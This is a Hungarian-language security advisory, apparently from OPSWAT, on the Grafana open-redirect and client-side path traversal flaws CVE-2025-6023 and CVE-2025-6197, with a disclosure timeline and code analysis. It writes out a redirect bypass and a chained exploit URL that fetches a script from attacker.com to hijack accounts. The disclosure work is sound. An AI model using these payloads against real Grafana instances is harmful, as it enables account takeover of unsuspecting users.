A Grafana egy vezető nyílt forráskódú platform az adatok vizualizációjához, elemzéséhez és nyomon követéséhez, amely lehetővé teszi a felhasználók számára, hogy interaktív műszerfalakat készítsenek több forrásból származó adatok összesítésével. A GitHubon több mint 68 000 csillaggal és több millió letöltéssel a Docker Hubon és más tárolókon keresztül a Grafana a modern felügyeleti stackek kritikus komponensévé vált az iparágak különböző területein.
A Grafana széles körű elterjedtsége és az infrastruktúra monitorozásában betöltött kritikus szerepe miatt a Grafana a fenyegetések elsődleges célpontja. Biztonságba helyezése alapvető fontosságú a felügyeleti környezetek integritásának és rendelkezésre állásának védelméhez a vállalatoknál.
Az OPSWAT aktívan hozzájárulunk a biztonsági közösséghez azáltal, hogy kutatjuk és felelősségteljesen nyilvánosságra hozzuk a széles körben használt platformok, például a Grafana sebezhetőségeit. 2021-ben a CVE-2021-39226 kritikus sebezhetőséget TheBlackTurtle, az OPSWAT 515-ös egységének tagja fedezte fel és hozta felelősen nyilvánosságra .
E hozzájárulások mellett az OPSWAT gyakorlati képzési kezdeményezéseken keresztül a kiberbiztonsági tehetségek következő generációját is képessé teszi. Az egyik ilyen program az OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, amely a hallgatóknak gyakorlati tapasztalatot nyújt a valós biztonsági fenyegetések azonosításában és elemzésében. E program részeként az egyik ösztöndíjasunk egy független kutatási projekt során felfedezett egy új kritikus sebezhetőséget a Grafana-ban, a CVE-2025-6023-at.
OPSWAT ösztöndíjprogram és kritikus sebezhetőségek felfedezése
Az OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program, amelynek székhelye Vietnamban található, a végzős hallgatóknak kínál gyakorlati tapasztalatot a kritikus infrastruktúrák védelmében. Az ösztöndíjasok aktívan együttműködnek OPSWAT kiberbiztonsági szakértőivel, hogy valós kihívásokkal foglalkozzanak a rosszindulatú programok felderítése, a fájlbiztonság és a fenyegetések megelőzése terén.
E szigorú program részeként a résztvevők az OPSWAT szakértőinek mentorálása mellett szisztematikusan kutatják, reprodukálják és elemzik az ismert sebezhetőségeket (CVE-k) különböző szoftvertermékekben, könyvtárakban és operációs rendszerekben. Hoa X. Nguyen, az egyik kiváló ösztöndíjasunk a Grafana-t választotta elsődleges kutatási projektje középpontjául.
2025 júniusában a CVE-2025-4123 alapos felülvizsgálata és a Grafana forráskódjának mélyebb elemzése során Hoa X. Nguyen egy korábban ismeretlen sebezhetőséget azonosított a platformon belül. A probléma egy nyílt átirányítási hiba és egy ügyféloldali útvonal áthidalási (CSPT) sebezhetőség láncolatát érintette, ami végül Cross-Site Scripting (XSS) és teljes fiókátvételhez vezetett a Grafana egy másik végpontján keresztül.
Az 515-ös egységgel szorosan együttműködve nem csak egy, hanem két különálló exploit-láncot fedeztünk fel, amelyek mindegyike a teljes fiók kompromittálódásához vezethet.
OPSWAT folytatta aktív hozzájárulását azzal, hogy felelősségteljesen jelentette a sebezhetőségeket a Grafana számára. A problémákat azonnal elismerték, és a későbbi kiadásokban javításokat adtak ki. Ezek a sebezhetőségek később a CVE-2025-6023 és CVE-2025-6197 azonosítót kapták, és azóta nyilvánosan szerepelnek a Nemzeti sebezhetőségi adatbázisban (NVD).
CVE-2025-6023 és CVE-2025-6197 Idővonal
- 2025. június 11.:Hoa X. Nguyen azonosított egy sebezhetőséget a Grafana legújabb verziójában, és biztonsági jelentést nyújtott be a Grafana-hoz.
- 2025. június 11: A Grafana a megbeszélést követően megerősítette a sebezhetőséget, és a CVE-2025-6023-at magas súlyosságúnak minősítette.
- 2025. június 17.:Dat Phung az 515-ös egységtől szorosan együttműködött Hoa X. Nguyen-nel, és felfedezett egy másik támadási láncot, amely kihasználja a sebezhetőséget.
- 2025. június 17: Grafana megerősítette a második sebezhetőséget, és a CVE-2025-6197-et közepes súlyosságúnak minősítette.
- 2025. július 17: A Grafana kiadta a 12.0.2+security-01, 11.6.3+security-01, 11.5.6+security-01, 11.4.6+security-01 és 11.3.8+security-01 verziót, amely egy olyan javított javítást vezetett be, amely hatékonyan kezelte ezeket a sebezhetőségeket.
- 2025. július 18: A National Vulnerability Database (NVD) hivatalosan közzétette a CVE-2025-6023 és CVE-2025-6197 kódokat.
A hiányos javítás és a CVE-2025-6023 technikai elemzése
2025 májusában Alvaro Balada nyilvánosságra hozta a CVE-2025-4123-as CVE-t, amely egy nagyfokú sebezhetőséget jelent a Grafana rendszerben. A hiba kombinálta a kliensoldali útvonalátjárást egy nyílt átirányítással, lehetővé téve a támadók számára, hogy rosszindulatú front-end pluginokat szállítsanak, amelyek tetszőleges JavaScriptet hajtanak végre a Grafana megbízható kontextusában - ami teljes fiókátvételt eredményez. Azokban az esetekben, ahol az anonim hozzáférés engedélyezve volt, nem volt szükség hitelesítésre. Továbbá, ha a Grafana Image Renderer plugin telepítve volt, a kihasználás SSRF-re eszkalálódhatott, ami belső szolgáltatásokat vagy felhő metaadatokat fedhetett fel.
A Grafana 2025 májusában biztonsági frissítésekkel kezelte a problémát, és javításokat vezetett be a 12.0.0+security01, 11.6.1+security01 és a többi 10.x-11.x ágban. A javítások közé tartoztak a Content Security Policy (CSP ) javításai és a szigorúbb átirányítási szanitizáció.
Az OPSWAT Critical Infrastructure Cybersecurity Graduate Fellowship Program részeként Hoa X. Nguyen átfogó elemzést végzett a CVE-2025-4123-ról. Kutatása magában foglalta az exploit flow visszafejtését és a rendelkezésre bocsátott javítás hatékonyságának értékelését. A vizsgálat során Hoa megfigyelte, hogy bár a sebezhetőség alapvetően a nyílt átirányítás és a kliensoldali útvonalátjárás kombinációja, a CVE-2025-4123 javítás csak a staticHandler nyílt átirányítását kezelte a {ff20b06} commitban bevezetett adatszanitizációs ellenőrzésen keresztül.
Ez a részleges enyhítés azonban nem kezelte az alapvető támadási vektort. Az alapvető kockázat továbbra is fennállt: ha egy támadó képes azonosítani egy alternatív végpontot, amely sebezhető a nyílt átirányításokkal szemben, ugyanaz a kihasználási lánc továbbra is fennállhat, és a teljes fiókátvételre használható - még a javítás után is. Ezt a hipotézist szem előtt tartva Hoa elvégezte a Grafana kódbázisának mélyebb forráskód-ellenőrzését. Ennek során sikeresen azonosított egy másik sebezhető végpontot: /user/auth-tokens/rotate.
Ez a végpont a lejárt hitelesítési tokenek regenerálására szolgál. A redirectTo lekérdezési paraméter segítségével a felhasználó a token sikeres megújítása után a céloldalra navigál.
Tipikus megvalósítás esetén az átirányítási URL-cím a Cfg.AppSubURL konfigurációs érték és a felhasználó által megadott redirectTo paraméter összekapcsolásával jön létre. A Grafana alapértelmezett konfigurációjában azonban az AppSubURL értéke nem definiált. Ennek eredményeképpen az alkalmazás az átirányítási útvonal kialakításakor kizárólag a redirectTo nyers értékére támaszkodik.
Therefore, when an authenticated user accesses the /user/auth-tokens/rotate?redirectTo=<value> endpoint, the server responds with a 302 Redirect and includes a Location: <value> header.
Az átirányítási mechanizmus esetében a Grafana megpróbálja csökkenteni a felhasználó által megadott bevitellel kapcsolatos biztonsági kockázatokat a ValidateRedirectTo nevű érvényesítési funkcióval, amelynek célja, hogy blokkolja a nem biztonságos átirányítási célpontokat - például a //example.com kezdetűeket - azáltal, hogy nem engedélyezi a kettős kötőjeleket az útvonal elején:
Azonban, ahogy azt Alvaro Balada eredeti kutatásában bemutatta, ez a funkció megkerülhető egy előremenő és egy backslash által követett perjel segítségével (pl. /\example.com), amelyet a modern böngészők a //example.com-hoz hasonlóan értelmeznek. Ennek eredményeképpen a következő hasznos teher használható a nyílt átirányítás eléréséhez, feltételezve, hogy a felhasználó hitelesített:
/user/auth-tokens/rotate?redirectTo=/\example.com
Ez a megállapítás Hoa X. Nguyen - a CVE-2025-4123 hiányos javításával együtt - azt mutatja, hogy a teljes Grafana fiók átvétele továbbra is lehetséges.
Miután az OPSWAT felfedezte ezt a megkerülést, azonnal jelentette a problémát a Grafana fejlesztői csapatának. Válaszul a Grafana belső megbeszélések során már azonosította a korábbi enyhítést, mint hiányos, és a jelentésünk előtt tervezte a probléma megoldását egy következő kiadásban. Ennek eredményeképpen jelentésünket elfogadták azzal, hogy a feltárt nyílt átirányítási sebezhetőséghez egy új CVE-t rendeltek, közepes súlyosságú besorolással.
CVE-2025-6023: Egy új, teljes fiókátvételt lehetővé tevő kihasználási lánc
A CVE-2025-4123 eredetileg a Grafana front-end plugin alkalmazásban található kliensoldali útvonal áthidalási (CSPT) sebezhetőségre hívta fel a figyelmet. Az eredeti jelentésében Hoa X. Nguyen ezt az ismert CSPT-problémát egy újonnan felfedezett nyílt átirányítási hibával kombinálta, hogy hatékony kihasználási láncot hozzon létre. A bemutatott kritikus hatás ellenére a sebezhetőséget csak közepes súlyosságúnak minősítették, mivel a Grafana már a CSPT felfedése előtt belsőleg elismerte a javítás hiányos voltát.
Ez mélyebb vizsgálatot indított el annak kiderítésére, hogy léteznek-e további CSPT-hibák a Grafana kódbázisában, amelyek - az újonnan felfedezett nyílt átirányítási sebezhetőséggel kombinálva - teljesen független kihasználási láncot tesznek lehetővé. Ha egy ilyen CSPT sebezhetőséget találnának egy másik végponton, az indokolná a CVE-2025-4123-hoz hasonlóan magas súlyossági szint hozzárendelését.
Új sebezhető Endpoint felfedezése
E hipotézis által motiválva Hoa alaposan átnézte a Grafana forráskódját. Az elemzés során azonosított egy további sebezhető végpontot, amely lehetővé tette a szkriptek dinamikus lekérdezését és végrehajtását tetszőleges forrásból - megfelelő bemeneti érvényesítés vagy szanálás nélkül. Ez a bizonytalan viselkedés a Grafana műszerfal szkriptelési funkciójához kapcsolódik, amelyet konkrétan a következő útvonalon keresztül kezel:
/dashboard/:type/:slug
Ezt az útvonalat a műszerfali szkriptek kezeléséért felelős middleware dolgozza fel. Konkrétan a :slug paramétert szkriptek dinamikus betöltésére és végrehajtására használják - megfelelő szanálás nélkül -, lehetővé téve ezzel a támadók számára, hogy rosszindulatú URL-címeket készítsenek, és potenciálisan újra létrehozzanak egy, a CVE-2025-4123-hoz hasonló exploit-láncot.
A műszerfal szkriptelési mechanizmusának elemzése
A Grafana műszerfal szkriptelési mechanizmusa a DashboardPageProxy komponenst használja a /dashboard/:type/:slug útvonalnak megfelelő kérések kezelésére:
A DashboardPageProxy-n belül a végrehajtás folyamata a következőképpen zajlik:
A DashboardPageProxy által visszaadott eredmény a stateManager.fetchDashboard() metódus végrehajtásából származik, amely elfogadja az URL-útvonalból kinyert uid, type és slug paramétereket. Annak elemzése érdekében, hogy hogyan épül fel ez a válasz, Hoa X.Nguyen megvizsgálta a stateManager objektumot és a fetchDashboard() metóduson belüli logikát. A stateManager a getDashboardScenePageStateManager() függvényen keresztül instanciálódik, amely a következő fájlban van definiálva:
/public/app/features/dashboard-scene/pages/DashboardScenePageStateManager.ts
Mivel az állapotkezelő inicializálása a getDashboardScenePageStateManager() függvény argumentumok nélküli meghívásával történik, amint azt a 2. ábra szemlélteti, arra lehet következtetni, hogy a visszaadott objektum az UnifiedDashboardScenePageStateManager osztály egy példánya.
Ezért, hogy megértse a fetchDashboard() metódus viselkedését, elemezte a UnifiedDashboardScenePageStateManager osztályon belüli implementációját:
Az UnifiedDashboardScenePageStateManager osztályon belül a fetchDashboard() metódus először a withVersionHandling() függvényt hívja meg. Ez a függvény felelős az activeManager példány meghatározásáért és visszaadásáért. Miután az activeManager felépült, a megfelelő fetchDashboard() metódust hívja meg a példányon, átadva a vonatkozó opciók paramétert.
Az activeManager példány vagy egy DashboardScenePageStateManager vagy egy DashboardScenePageStateManagerV2 objektum. Mindkét osztály hasonló logikát valósít meg a műszerfaladatok lekérdezéséhez. A következő kód a DashboardScenePageStateManager osztályból származik:
A DashboardScenePageStateManager osztály fetchDashboard() metódusán belül egy switch utasítás határozza meg a megfelelő kezelési logikát az útvonal típusa alapján. Alapértelmezett esetben a módszer meghívja:
dashboardLoaderSrv.loadDashboard(type, slug, uid, query)
Ez a hívás elindítja a kért műszerfal betöltésének folyamatát. A loadDashboard() függvény referencia implementációja a következő fájlban található:
/public/app/features/dashboard/services/DashboardLoad
A loadDashboard() függvényen belül több feltételes ellenőrzés is végrehajtásra kerül a megfelelő feldolgozási folyamat meghatározásához. Abban a konkrét esetben, amikor a típus "script"-re van állítva, és létezik egy slug, a függvény meghívja:
this.loadScriptedDashboard(slug)
Itt a slug - amely közvetlenül a felhasználói bemenetből származik - paraméterként kerül átadásra a loadScriptedDashboard() metódusnak. A végrehajtási folyamat és az e hívás által bevezetett lehetséges sebezhetőségek értékeléséhez Hoa a loadScriptedDashboard() végrehajtásának elemzését folytatta a DashboardLoaderSrvBase osztályon belül:
A loadScriptedDashboard() metódusban a slug paramétert - a 2. ábrán látható módon - fájlnévként (string) kezeljük, és a fájlnévből konstruáljuk a url változó létrehozására. Ez a paraméter azonban nincs megfelelően szanálva. Az implementáció egy reguláris kifejezést alkalmaz, hogy a pont (.) karaktereket - kivéve a"js" által közvetlenül követett karaktereket - egy előremenő perjelre (/) cserélje. Ez a részleges szűrés nem szanálja megfelelően a bemenetet, így az érzékeny az útvonal-manipulációs és traversal támadásokra.
Az URL megalkotása után a szkript megpróbálja betölteni a megadott műszerfalat a getBackendSrv().get(url) meghívásával . A lekérdezett szkriptet ezután a this.executeScript(code) segítségével hajtja végre.
Ez az elemzés végül Hoa X. Nguyen-t egy új Client-Side Path Traversal (CSPT) sebezhetőség azonosításához vezette a Grafana legújabb kiadásában. A bemeneti szanálás vagy érvényesítés hiánya miatt a támadó manipulálhatja a slugot, hogy olyan URL-t készítsen, amely betölt és végrehajt egy rosszindulatú szkriptet külső forrásból - megismételve a korábban a CVE-2025-4123-ban azonosított alapvető problémát a műszerfal szkript betöltésén keresztül.
Az újonnan felfedezett nyílt átirányítási sebezhetőséggel kombinálva ez a probléma egy teljes kihasználási láncot tesz lehetővé, amely képes teljes fiókátvételre. Az exploitot bemutató hasznos minta a következő:
/dashboard/script/..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5c<attacker-site><encoded_path>
Például:
/dashboard/script/..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%5cattacker.com%2fpath%2fto%2fmalicious.js
A malicious.js fájl úgy alakítható ki, hogy az áldozat e-mail címét és felhasználónevét a támadó által ellenőrzöttre változtassa. Ez lehetővé tenné a támadó számára, hogy jelszó-visszaállítási folyamatot kezdeményezzen a saját e-mail címére, ami végül a fiók teljes átvételét eredményezné:
A CVE-2025-6023 koncepciójának bizonyítása
Ez a videó a CVE-2025-6023 gyakorlati hatását mutatja be, bemutatva egy teljes fiókátvételi forgatókönyvet, amely a Grafana felhasználókat érinti, és amelyet Hoa X. Nguyen, OPSWAT fedezett fel:
Enyhítés és iránymutatás
A fent említett sebezhetőségek csökkentése érdekében kérjük, győződjön meg arról, hogy rendszere a Grafana legújabb verziójára van frissítve.
A MetaDefender Core az SBOM motor segítségével képes észlelni ezt a sebezhetőséget.
A fejlett SBOMSoftware Bill of Materials) képességekkel felszerelt OPSWAT MetaDefender Core lehetővé teszi a szervezetek számára, hogy proaktív módon kezeljék a biztonsági kockázatokat. A MetaDefender Core a szoftveralkalmazások és függőségeik átvizsgálásával azonosítja az ismert sebezhetőségeket, például a CVE-2025-6023 és a CVE-2025-6197 kódokat a felsorolt összetevőkön belül. Ez lehetővé teszi a fejlesztői és biztonsági csapatok számára, hogy prioritásként kezeljék a javítási erőfeszítéseket, csökkentve a potenciális biztonsági kockázatokat, mielőtt azokat a rosszindulatú szereplők kihasználhatnák.
Az alábbiakban a CVE-2025-6023 és CVE-2025-6197 képernyőképét láthatjuk, amelyeket a MetaDefender Core az SBOM segítségével észlelt:
Ezen túlmenően a CVE-ket a következő eszközökkel is fel lehet fedezni MetaDefender Software Supply Chain, amely a MetaDefender Core és az SBOM segítségével azonosítja ezeket a sebezhetőségeket.